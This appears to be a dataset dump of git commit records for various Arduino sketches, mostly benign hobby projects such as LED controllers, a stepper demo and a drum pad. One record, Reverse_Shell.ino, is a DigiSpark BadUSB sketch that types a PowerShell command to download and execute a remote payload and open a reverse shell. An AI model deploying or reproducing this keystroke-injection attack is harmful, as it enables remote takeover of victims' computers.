\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LEDUbidots.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2d14fc3be5e954feefdf2a7121082b858ffd4df3","subject":"Changed profiling to be optional, just like pin reporting.","message":"Changed profiling to be optional, just like pin reporting.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"996f91d7899cb7f968f8287d28e9170fa1be6ae1","subject":"Changed sendVMState() to also send the coroutine's framePointer.","message":"Changed sendVMState() to also send the coroutine's framePointer.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ed525f6ba0575f7f44a8d7c6a821d5f27f3ed475","subject":"Incremented protocol minor version.","message":"Incremented protocol minor version.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6f91a356c8ff3bed060b7487c947eecff437e63b","subject":"Add files via upload","message":"Add files via upload\n\nadapt back to 16 valves, and adapt to Teensy 3.5","repos":"ScienceWorldCA\/UBC-Capstones-2016-Waterfall,ScienceWorldCA\/UBC-Capstones-2016-Waterfall","old_file":"controller\/src\/sd_card\/sd_ethernet.ino","new_file":"controller\/src\/sd_card\/sd_ethernet.ino","new_contents":"\n#include <SPI.h>\n#include <SD.h>\n\n\/\/ START OF CODE FOR CONTROLLING THE SHIFT REGISTERS AND LEDS \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/#include \"TimerOne.h\"\n\/\/#include <MsTimer2.h>\n\n#define SRCLR_PIN 9 \/\/Active low\n#define SRCLK_PIN 8\n#define RCLK_PIN 7\n#define OE_PIN 6 \/\/Active Low\n\n#define VALVES_PER_VALVE_BANK 8\n#define NUM_VALVE_BANKS 2\n#define NUM_VALVES NUM_VALVE_BANKS * VALVES_PER_VALVE_BANK\n\n\/\/TODO: Likely change this to come from the pattern file\n#define PATTERN_LENGTH 16\n\n#define SER1_PIN 2\n#define SER2_PIN 3\n\nint serial_pins[NUM_VALVE_BANKS] = {SER1_PIN, SER2_PIN};\n\n\/\/byte shiftReg[16][2] = {0};\nbyte *shiftReg;\n\nint current_pattern_line = 0;\n\nvoid update_output(void)\n{\n \/\/Update the output with the data stored in the shift register\n digitalWrite(RCLK_PIN, HIGH);\n digitalWrite(RCLK_PIN, LOW); \n\n \/\/Update the data stored in the shift register to be ready for the next line as soon as the timer triggers\n current_pattern_line = (current_pattern_line + 1) % PATTERN_LENGTH;\n \n \/\/Iterate through the 8 bits being sent to a shift register for a given row (prepare the next row for output)\n int j;\n for (j = 0; j < VALVES_PER_VALVE_BANK; j++)\n {\n \/\/Iterate through the shift registers, sending one bit to each\n int k;\n for (k = 0; k < NUM_VALVE_BANKS; k++)\n {\n if ((shiftReg[(current_pattern_line * NUM_VALVE_BANKS) + k] >> j) & 1)\n digitalWrite(serial_pins[k], HIGH);\n else\n digitalWrite(serial_pins[k], LOW);\n }\n \/\/Write this set of bits into the shift registers (1 per shift register)\n digitalWrite(SRCLK_PIN, HIGH);\n digitalWrite(SRCLK_PIN, LOW);\n }\n}\n\/*\nvoid setup_shiftregs() {\n MsTimer2::set(250, (&update_output)); \/\/ initialize timer to trigger update_output(), and set a 250 ms period\n MsTimer2::start();\n\n digitalWrite(SRCLR_PIN, HIGH); \/\/Disable Serial Clear\n digitalWrite(OE_PIN, LOW); \/\/Enable output\n}*\/\n\/\/ END OF CODE FOR CONTROLLING THE SHIFT REGISTERS AND LEDS \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/CS pin for Arduino Uno\n\/\/const int chipSelect = 8;\n\/\/const int chipSelect = 4; \/\/for Ethernet shield\n\/\/CS pin for Teensy 3.5\nconst int chipSelect = BUILTIN_SDCARD;\nconst int imageWidthBytes = 2;\nconst int lineWidth = 17;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setup(){\n\n pinMode(SRCLR_PIN, OUTPUT);\n pinMode(SRCLK_PIN, OUTPUT);\n pinMode(RCLK_PIN, OUTPUT);\n pinMode(OE_PIN, OUTPUT);\n pinMode(SER1_PIN, OUTPUT);\n pinMode(SER2_PIN, OUTPUT);\n\n pinMode(13, OUTPUT); \/\/ pin selected to control. Built-in LED for demo.\n digitalWrite(13, LOW); \/\/ set it to low to it starts off\n\n \/\/enable serial data print \n Serial.begin(9600); \n Serial.println(\"Initializing SD card...\");\n\n if(!SD.begin(chipSelect)){\n Serial.println(\"Card failed, or not present\");\n return;\n }\n Serial.println(\"Card initialized\");\n read();\n convertToByte();\n \n}\n\nvoid write(){\n File testFile = SD.open(\"testfile.txt\", FILE_WRITE);\n if(testFile) {\n testFile.write(\"File created\");\n testFile.close();\n Serial.println(\"File created\");\n }\n else{\n Serial.println(\"Error on opening the file\");\n }\n}\n\nvoid read(){\n File dataFile = SD.open(\"middleon.txt\");\n if(!dataFile) {\n Serial.println(\"Error on opening the file\");\n return;\n }\n while(dataFile.available()){\n Serial.write(dataFile.read());\n }\n dataFile.close();\n}\n\nvoid checkCard(){\n boolean flag = SD.exists(\"middleon.txt\");\n if(flag){\n Serial.println(\"File exists\");\n }else{\n Serial.println(\"File does not exist\");\n }\n}\n\nvoid convertToByte(){\n File dataFile = SD.open(\"middleon.txt\");\n if(!dataFile){\n Serial.println(\"Error on opening the file\");\n return;\n }\n int lines = dataFile.size() \/ lineWidth;\n int total_size = lines * imageWidthBytes;\n shiftReg = (byte*)malloc(total_size * sizeof(byte));\n memset(shiftReg, 0, sizeof(byte) * total_size);\n int bitCounter = 8;\n int regCounter = 0;\n int lineCounter = 0;\n int lineIndex = (lines - 1) * imageWidthBytes;\n int startIndex = lineIndex;\n byte temp;\n while(lineCounter < lines){\n temp = dataFile.read();\n if(temp == '0'){\n bitCounter--;\n shiftReg[lineIndex + regCounter] = shiftReg[lineIndex + regCounter] << 1;\n }\n else if(temp == '1'){\n bitCounter--;\n shiftReg[lineIndex + regCounter] = (shiftReg[lineIndex + regCounter] << 1) + 1;\n }\n if(bitCounter == 0){\n bitCounter = 8;\n regCounter++;\n }\n \/\/change number of regCounter when width is different\n if(regCounter == imageWidthBytes){\n regCounter = 0;\n lineCounter++;\n lineIndex = startIndex - lineCounter * imageWidthBytes;\n }\n }\n dataFile.close();\n int i, j;\n for(i = 0; i < lines; i++){\n for(j = 0; j < imageWidthBytes; j++){\n Serial.print(j);\n Serial.print(':');\n int index = i * imageWidthBytes + j;\n Serial.print(shiftReg[index], BIN);\n Serial.print('\\t');\n }\n Serial.print('\\n');\n }\n}\n\nvoid loop(){\n \/\/convertToByte();\n \/\/setup_shiftregs();\n} \r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'controller\/src\/sd_card\/sd_ethernet.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"284bec29bc9fcf4607a733c5f64fa6e60eb883d7","subject":"New DT_BlinkMorse via upload","message":"New DT_BlinkMorse via upload","repos":"DavidTangye\/sketchbook","old_file":"DT_BlinkMorse\/DT_BlinkMorse.ino","new_file":"DT_BlinkMorse\/DT_BlinkMorse.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DavidTangye\/sketchbook.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"a66d5cec4bf0934ae354235be403977669095919","subject":"Create Reverse_Shell.ino","message":"Create Reverse_Shell.ino","repos":"CedArctic\/DigiSpark-Scripts,CedArctic\/DigiSpark-Scripts","old_file":"Reverse_Shell\/Reverse_Shell.ino","new_file":"Reverse_Shell\/Reverse_Shell.ino","new_contents":"\/\/ This script downloads and executes a powershell script efectively opening up a reverse shell in less than 3 seconds. \n\/\/ Credits to hak5 and samratashok (developer of the nishang framework).\n\n#include \"DigiKeyboard.h\"\nvoid setup() {\n}\n\nvoid loop() {\n DigiKeyboard.sendKeyStroke(0);\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);\n DigiKeyboard.delay(500);\n DigiKeyboard.print(\"powershell \\\"IEX (New-Object Net.WebClient).DownloadString('https:\/\/mywebserver\/payload.ps1');\\\"\");\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n for (;;) {\n \/*Stops the digispark from running the scipt again*\/\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Reverse_Shell\/Reverse_Shell.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"df93c0b1a6dd1c539380e2a155bca054e6926a0e","subject":"wip Party Lights","message":"wip Party Lights\n","repos":"meeo\/meeo-arduino","old_file":"examples\/MeeoCrowtailBasic\/PartyLights\/PartyLights.ino","new_file":"examples\/MeeoCrowtailBasic\/PartyLights\/PartyLights.ino","new_contents":"\/*\n PartyLights by Meeo\n\n This example will make use of Meeo. If you haven't already,\n visit Meeo at https:\/\/meeo.io and create an account. Then\n check how to get started with the Meeo library through\n https:\/\/github.com\/meeo\/meeo-arduino\n\n Pump-up your room with a set of Party Lights!\n More details of the project here:\n https:\/\/medium.com\/meeo\/meeo-project-party-lights-f128d75e957c\n\n Copyright: Meeo\n Author: Terence Anton Dela Fuente\n License: MIT\n*\/\n\n#include <Meeo.h>\n#include <Adafruit_NeoPixel.h>\n\n\/\/ Uncomment if you wish to see the events on the Meeo dashboard\n\/\/ #define LOGGER_CHANNEL \"logger\"\n\n#define PIN D3\n\/\/ Number of WS2812B (or NeoPixel) in your light chain\n#define NUMPIXELS 4\n\nString nameSpace = \"my_namespace\";\nString accessKey = \"my_access_key\";\nString ssid = \"MyWiFi\";\nString pass = \"qwerty123\";\nString colorChannel = \"party-lights-color\";\nString speedChannel = \"party-lights-speed\";\n\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);\nint r, g, b;\nunsigned long duration;\nbool durationChanged = false;\n\nint pixelCount = 0;\nunsigned long colorMillis;\n\nvoid setup() {\n Serial.begin(115200);\n\n Meeo.setEventHandler(meeoEventHandler);\n Meeo.setDataReceivedHandler(meeoDataHandler);\n Meeo.begin(nameSpace, accessKey, ssid, pass);\n\n #ifdef LOGGER_CHANNEL\n Meeo.setLoggerChannel(LOGGER_CHANNEL);\n #endif\n\n pixels.begin();\n\n \/\/Reset all LEDs to off\n for (int i = 0; i < NUMPIXELS; i++) {\n pixels.setPixelColor(i, pixels.Color(0,0,0));\n }\n pixels.show();\n}\n\nvoid loop() {\n Meeo.run();\n\n unsigned long currentMillis = millis();\n\n if (duration == 0) {\n for (int i = 0; i < NUMPIXELS; i++) {\n pixels.setPixelColor(i, pixels.Color(0,0,0));\n }\n pixels.show();\n #ifdef LOGGER_CHANNEL\n if(durationChanged){\n Meeo.println(\"[INFO] Lights turned off\");\n }\n #endif\n } else if (duration == 100) {\n for (int i = 0; i < NUMPIXELS; i++) {\n pixels.setPixelColor(i, pixels.Color(r,g,b));\n }\n pixels.show();\n #ifdef LOGGER_CHANNEL\n if(durationChanged){\n Meeo.println(\"[INFO] Blinking stopped\");\n }\n #endif\n } else {\n if (currentMillis - colorMillis >= (100 - duration)) {\n colorMillis = currentMillis;\n pixels.setPixelColor(pixelCount, pixels.Color(r,g,b));\n turnOffPixels(pixelCount);\n pixelCount++;\n }\n }\n if (pixelCount >= NUMPIXELS) pixelCount = 0;\n durationChanged = false;\n}\n\nvoid meeoDataHandler(String topic, String payload) {\n Serial.print(topic);\n Serial.print(\": \");\n Serial.println(payload);\n\n if (Meeo.isChannelMatched(topic, colorChannel)) {\n Meeo.convertStringToRGB(payload, &r, &g, &b);\n } else if (Meeo.isChannelMatched(topic, speedChannel)) {\n durationChanged = true;\n duration = payload.toInt();\n }\n}\n\nvoid meeoEventHandler(MeeoEventType event) {\n switch (event) {\n case WIFI_DISCONNECTED:\n Serial.println(\"Not Connected to WiFi\");\n break;\n case WIFI_CONNECTING:\n Serial.println(\"Connecting to WiFi\");\n break;\n case WIFI_CONNECTED:\n Serial.println(\"Connected to WiFi\");\n break;\n case MQ_DISCONNECTED:\n Serial.println(\"Not Connected to MQTT Server\");\n break;\n case MQ_CONNECTED:\n Serial.println(\"Connected to MQTT Server\");\n\n \/\/Once connected, subscribe to the channels\n Meeo.subscribe(colorChannel);\n Meeo.subscribe(speedChannel);\n break;\n case MQ_BAD_CREDENTIALS:\n Serial.println(\"Bad Credentials\");\n break;\n case AP_MODE:\n Serial.println(\"AP Mode\");\n break;\n default:\n break;\n }\n}\n\nvoid turnOffPixels(int ctr) {\n for (int i = 0; i < NUMPIXELS; i++) {\n if (i != ctr) {\n pixels.setPixelColor(i, pixels.Color(0,0,0));\n pixels.show();\n }\n }\n pixels.show();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MeeoCrowtailBasic\/PartyLights\/PartyLights.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2ccd6b64a5b09cebef41d1e780183f926f679f7d","subject":"playing a bit with microstepping & stall guard values","message":"playing a bit with microstepping & stall guard values\n","repos":"trinamic\/TMC26XStepper,interactive-matter\/TMC26XStepper,interactive-matter\/TMC26XStepper-Generator","old_file":"examples\/TMC262Example\/TMC262Example.ino","new_file":"examples\/TMC262Example\/TMC262Example.ino","new_contents":"#include <SPI.h>\n#include <TMC262Stepper.h>\n\n\/\/we have a stepper motor with 200 steps per rotation, CS pin 2, dir pin 3, step pin 4 and a current of 300mA\nTMC262Stepper tmc262Stepper = TMC262Stepper(200,2,3,4,700);\nint curr_step;\nint speed = 0;\nint speedDirection = 100;\nint maxSpeed = 1000;\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"==============================\");\n Serial.println(\"TMC262 Stepper Driver Demo App\");\n Serial.println(\"==============================\");\n \/\/set this according to you stepper\n Serial.println(\"Configuring stepper driver\");\n \/\/char constant_off_time, char blank_time, char hysteresis_start, char hysteresis_end, char hysteresis_decrement\n tmc262Stepper.setSpreadCycleChopper(2,24,8,6,0);\n tmc262Stepper.setRandomOffTime(0);\n \n tmc262Stepper.setMicrosteps(32);\n tmc262Stepper.setStallGuardTreshold(4,0);\n Serial.println(\"config finished, starting\");\n tmc262Stepper.start();\n Serial.println(\"started\");\n}\n\nvoid loop() {\n if (!tmc262Stepper.isMoving()) {\n speed+=speedDirection;\n if (speed>maxSpeed) {\n speed = maxSpeed;\n speedDirection = -speedDirection;\n } else if (speed<0) {\n speedDirection = -speedDirection;\n speed=speedDirection;\n }\n \/\/setting the speed\n Serial.print(\"setting speed to \");\n Serial.println(speed);\n tmc262Stepper.setSpeed(speed);\n \/\/we want some kind of constant running time - so the length is just a product of speed\n Serial.print(\"Going \");\n Serial.print(10*speed);\n Serial.println(\" steps\");\n tmc262Stepper.step(10*speed);\n } else {\n \/\/we put out the status every 100 steps\n if (tmc262Stepper.getStepsLeft()%100==0) {\n Serial.print(\"Stall Guard: \");\n Serial.println(tmc262Stepper.getCurrentStallGuardReading());\n } \n } \n tmc262Stepper.move();\n}\n\n\n","old_contents":"#include <SPI.h>\n#include <TMC262Stepper.h>\n\n\/\/we have a stepper motor with 200 steps per rotation, CS pin 2, dir pin 3, step pin 4 and a current of 300mA\nTMC262Stepper tmc262Stepper = TMC262Stepper(200,2,3,4,700);\nint curr_step;\nint speed = 0;\nint speedDirection = 100;\nint maxSpeed = 1000;\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"==============================\");\n Serial.println(\"TMC262 Stepper Driver Demo App\");\n Serial.println(\"==============================\");\n \/\/set this according to you stepper\n Serial.println(\"Configuring stepper driver\");\n \/\/char constant_off_time, char blank_time, char hysteresis_start, char hysteresis_end, char hysteresis_decrement\n tmc262Stepper.setSpreadCycleChopper(2,24,8,6,0);\n tmc262Stepper.setRandomOffTime(0);\n \n tmc262Stepper.setMicrosteps(64);\n tmc262Stepper.setStallGuardTreshold(9,1);\n Serial.println(\"config finished, starting\");\n tmc262Stepper.start();\n Serial.println(\"started\");\n}\n\nvoid loop() {\n if (!tmc262Stepper.isMoving()) {\n speed+=speedDirection;\n if (speed>maxSpeed) {\n speed = maxSpeed;\n speedDirection = -speedDirection;\n } else if (speed<0) {\n speedDirection = -speedDirection;\n speed=speedDirection;\n }\n \/\/setting the speed\n Serial.print(\"setting speed to \");\n Serial.println(speed);\n tmc262Stepper.setSpeed(speed);\n \/\/we want some kind of constant running time - so the length is just a product of speed\n Serial.print(\"Going \");\n Serial.print(10*speed);\n Serial.println(\" steps\");\n tmc262Stepper.step(10*speed);\n } else {\n \/\/we put out the status every 100 steps\n if (tmc262Stepper.getStepsLeft()%100==0) {\n Serial.print(\"Stall Guard: \");\n Serial.println(tmc262Stepper.getCurrentStallGuardReading());\n } \n } \n tmc262Stepper.move();\n}\n\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"6b1ede519e6f2730d715073691291f756796f420","subject":"Update ramdemo.ino","message":"Update ramdemo.ino","repos":"kaaLabs15\/mcp7940","old_file":"examples\/ramdemo\/ramdemo.ino","new_file":"examples\/ramdemo\/ramdemo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kaaLabs15\/mcp7940.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b68b7510d424e391c699326e2c56c406d05e1bcc","subject":"Now takes into account time to store timestamps into timing calculations. ADC running at 16MHz\/4=4MHz, above the 1MHz maximum.","message":"Now takes into account time to store timestamps into timing calculations. ADC running at 16MHz\/4=4MHz, above the 1MHz maximum.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino","new_file":"Motor Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9d17bc242958a455a98c8bbe6483e98efea510ab","subject":"Create Pad_B_Drums.ino","message":"Create Pad_B_Drums.ino","repos":"Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex","old_file":"Musical_Instruments_2017_2018\/Dance_Pads\/Pad_B_Drums.ino","new_file":"Musical_Instruments_2017_2018\/Dance_Pads\/Pad_B_Drums.ino","new_contents":"#include <Math.h>\n#include <Keyboard.h>\n#include <MIDI.h>\n\n\/\/ Set up variables for dance pad input\nint bass= 2; \nint hHat = 3;\nint hTom = 4;\nint mTom = 5;\nint ride = 6;\nint snare = 7;\nint lTom = 8;\nint crash = 9;\n\n\/\/ Set up default variables for input status\nint valBass = 0;\nint valhHat = 0;\nint valhTom = 0;\nint valmTom = 0;\nint valRide = 0;\nint valSnare = 0;\nint vallTom = 0;\nint valCrash = 0;\n\n\/\/ variable to store the value read\n \nvoid setup()\n{\n Serial.begin(9600);\n pinMode(bass, INPUT); \n pinMode(hHat, INPUT);\n pinMode(hTom, INPUT);\n pinMode(mTom, INPUT);\n pinMode(ride, INPUT);\n pinMode(snare, INPUT);\n pinMode(lTom, INPUT);\n pinMode(crash, INPUT);\n \n \/\/ setup serial\n}\n\nvoid loop()\n{\n valBass = digitalRead(bass);\/\/ read the input pin\n valRide = digitalRead(hHat);\/\/ read the input pin\n valCrash = digitalRead(hTom);\/\/ read the input pin\n valmTom = digitalRead(mTom);\/\/ read the input pin\n vallTom = digitalRead(ride);\/\/ read the input pin\n valhHat = digitalRead(snare);\/\/ read the input pin\n valSnare = digitalRead(lTom);\/\/ read the input pin\n valhTom = digitalRead(crash);\/\/ read the input pin\n\n if (valBass == 1)\/\/This is actually Snare\n {\n Keyboard.press('s');\n }\n else{\n Keyboard.release('s');\n }\n \n if (valhHat == 1)\/\/This is actually Bass\n {\n Keyboard.press('a');\n }\n else{\n Keyboard.release('a');\n }\n \n if (valhTom == 1)\/\/This is actually Crash\n {\n Keyboard.press('u');\n }\n else{\n Keyboard.release('u');\n }\n if (valmTom == 1)\/\/This is actually Low Tom\n {\n Keyboard.press('h');\n }\n else{\n Keyboard.release('h');\n }\n \n if (valRide == 1)\/\/This is actually High Hat\n {\n Keyboard.press('t');\n }\n else{\n Keyboard.release('t');\n }\n \n if (valSnare == 1)\/\/This is actually Ride\n {\n Keyboard.press('p');\n }\n else{\n Keyboard.release('p');\n }\n \n if (vallTom == 1)\/\/This is actually High Tom\n {\n Keyboard.press('k');\n }\n else{\n Keyboard.release('k');\n }\n \n if (valCrash == 1)\/\/This is actually Mid Tom\n {\n Keyboard.press('j');\n }\n else{\n Keyboard.release('j');\n }\n \n delay(100);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Musical_Instruments_2017_2018\/Dance_Pads\/Pad_B_Drums.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a375586da2f2e40ae3767e05ffcdbccb9d9e5a9c","subject":"added initial baby_alphabet program","message":"added initial baby_alphabet program\n","repos":"alc6379\/ardubaby-games","old_file":"baby_alphabet\/baby_alphabet.ino","new_file":"baby_alphabet\/baby_alphabet.ino","new_contents":"#include <Arduboy2.h>\n#include <ArduboyTones.h>\n\nArduboy2 arduboy;\nArduboyTones sound(arduboy.audio.enabled);\n\nint counter;\nint toneIndex = 0;\nconst char alphabet[] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',\n 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S',\n 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'\n};\n\n\nconst uint16_t alphabetSong[] = {\n NOTE_C4, NOTE_C4, NOTE_G4, NOTE_G4, NOTE_A4, NOTE_A4, NOTE_G4,\n NOTE_F4, NOTE_F4, NOTE_E4, NOTE_E4, NOTE_D4, NOTE_D4, NOTE_D4, NOTE_D4, NOTE_C4,\n NOTE_G4, NOTE_G4, NOTE_F4, NOTE_E4, NOTE_E4, NOTE_D4,\n NOTE_G4, NOTE_G4, NOTE_G4, NOTE_F4, NOTE_E4, NOTE_E4, NOTE_D4,\n NOTE_C4, NOTE_C4, NOTE_G4, NOTE_G4, NOTE_A4, NOTE_A4, NOTE_G4,\n NOTE_F4, NOTE_F4, NOTE_E4, NOTE_E4, NOTE_D4, NOTE_D4, NOTE_C4\n};\n\nconst uint16_t alphabetScore[] PROGMEM = {\n NOTE_C4, 500, NOTE_C4, 500, NOTE_G4, 500, NOTE_G4, 500, NOTE_A4, 500, NOTE_A4, 500, NOTE_G4, 500,\n NOTE_F4, 500, NOTE_F4, 500, NOTE_E4, 500, NOTE_E4, 500, NOTE_D4, 500, NOTE_D4, 500, NOTE_D4, 500, NOTE_D4, 500, NOTE_C4, 500,\n NOTE_G4, 500, NOTE_G4, 500, NOTE_F4, 500, NOTE_E4, 500, NOTE_E4, 500, NOTE_D4, 500,\n NOTE_G4, 500, NOTE_G4, 500, NOTE_G4, 500, NOTE_F4, 500, NOTE_E4, 500, NOTE_E4, 500, NOTE_D4, 500,\n NOTE_C4, 500, NOTE_C4, 500, NOTE_G4, 500, NOTE_G4, 500, NOTE_A4, 500, NOTE_A4, 500, NOTE_G4, 500,\n NOTE_F4, 500, NOTE_F4, 500, NOTE_E4, 500, NOTE_E4, 500, NOTE_D4, 500, NOTE_D4, 500, NOTE_C4, 500, TONES_END\n};\n\n\n\/\/ Stores the button state\nuint8_t previousButtonState = 0;\nuint8_t currentButtonState = 0;\n\nvoid playSong() {\n sound.tones(alphabetScore);\n}\n\n\/\/ Needs to be called at the start of the loop function\nvoid updateButtonState(Arduboy2 &ab)\n{\n previousButtonState = currentButtonState;\n currentButtonState = ab.buttonsState();\n}\n\n\/\/ Returns if a button was just pressed\nbool buttonJustPressed(uint8_t button)\n{\n if (!(previousButtonState & button) && (currentButtonState & button))\n {\n return true;\n }\n return false;\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n arduboy.begin();\n arduboy.clear();\n playSong();\n counter = 0;\n}\n\nvoid loop() {\n updateButtonState(arduboy);\n \/\/ put your main code here, to run repeatedly:\n arduboy.clear();\n if ( buttonJustPressed(RIGHT_BUTTON ) || buttonJustPressed( UP_BUTTON ) == true ) {\n if (counter <= 24) {\n \/\/Increase counter by 1\n counter = counter + 1;\n }\n else {\n counter = 0;\n }\n sound.tone(alphabetSong[counter], 500);\n }\n \/\/Check if the DOWN_BUTTON is being pressed\n if ( buttonJustPressed(LEFT_BUTTON ) || buttonJustPressed( DOWN_BUTTON ) == true ) {\n if (counter >= 1) {\n \/\/Decrease counter\n counter = counter - 1;\n }\n else {\n counter = 25;\n }\n sound.tone(alphabetSong[counter], 500);\n }\n\n if (buttonJustPressed(A_BUTTON) || buttonJustPressed(B_BUTTON) == true) {\n playSong();\n }\n\n arduboy.setCursor(0, 0);\n arduboy.drawChar(50, 10, alphabet[counter], WHITE, BLACK, 6);\n arduboy.display();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'baby_alphabet\/baby_alphabet.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"48047bf929abf6d8e20490b217a19bd5cf3a546a","subject":"InMoov Hand Demo with capacitive sensor and push buttom fo demo mode or sensor mode","message":"InMoov Hand Demo with capacitive sensor and push buttom fo demo mode or sensor mode\n","repos":"MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab","old_file":"home\/Seb\/hand-kit-smooth.ino","new_file":"home\/Seb\/hand-kit-smooth.ino","new_contents":"\/*\n * Pilotage de la main InMoov Campus\n * 05\/2016 seb\n * \/\/ Id\u00e9e : cr\u00e9er un mouvement ou tous les doigt atteigne la position finale en m\u00eame temps...\n * 1 - DEMO mouvement lent et de plus en plus rapide\n * 2 - Enchainement de mouvements\n * \n * Les + pour la gestion du mouvement :\n * - Gestion des bornes\n * - Gestion du pas entre chaque d\u00e9placement\n * - Gestion de la dur\u00e9e entre chaque d\u00e9placement\n * - Gestion de la dur\u00e9e entre 2 mouvements (une fois le 1er Termin\u00e9 attente de X millisecondes)\n * - Gestion automatique de la d\u00e9connexion des servos moteurs X millisecondes apr\u00e8s la fin d'un mouvement\n * - Ajout du Flex sensor + seuil pour le rendre inactif afin de ne pas interf\u00e9rer avec les mouvements programm\u00e9s\n * - Int\u00e9gration des mouvements de Ga\u00ebl main Palais de Tokyo (20.05.2016)\n * - Gestion des acc\u00e9ll\u00e9rations\/ D\u00e9cc\u00e9l\u00e9ration des servos (de plus en plus lent \u00e0 l'approche de l'objectif)\n * - Ajout de la gestion des boutons pour lancer la demo \/ l'arr\u00eater et avancer les mvts en m\u00e9moire un \u00e0 un.\n * - 25.05.16 - capteur de pression dans la paume pour d\u00e9clencher la fermeture de la main.\n * \n * - TO DO : \n * - auto d\u00e9tection de l'absence des sensors pour ne pas rester sur la boucle de calibration\n * - Int\u00e9gration des mouvements de Ga\u00ebl main 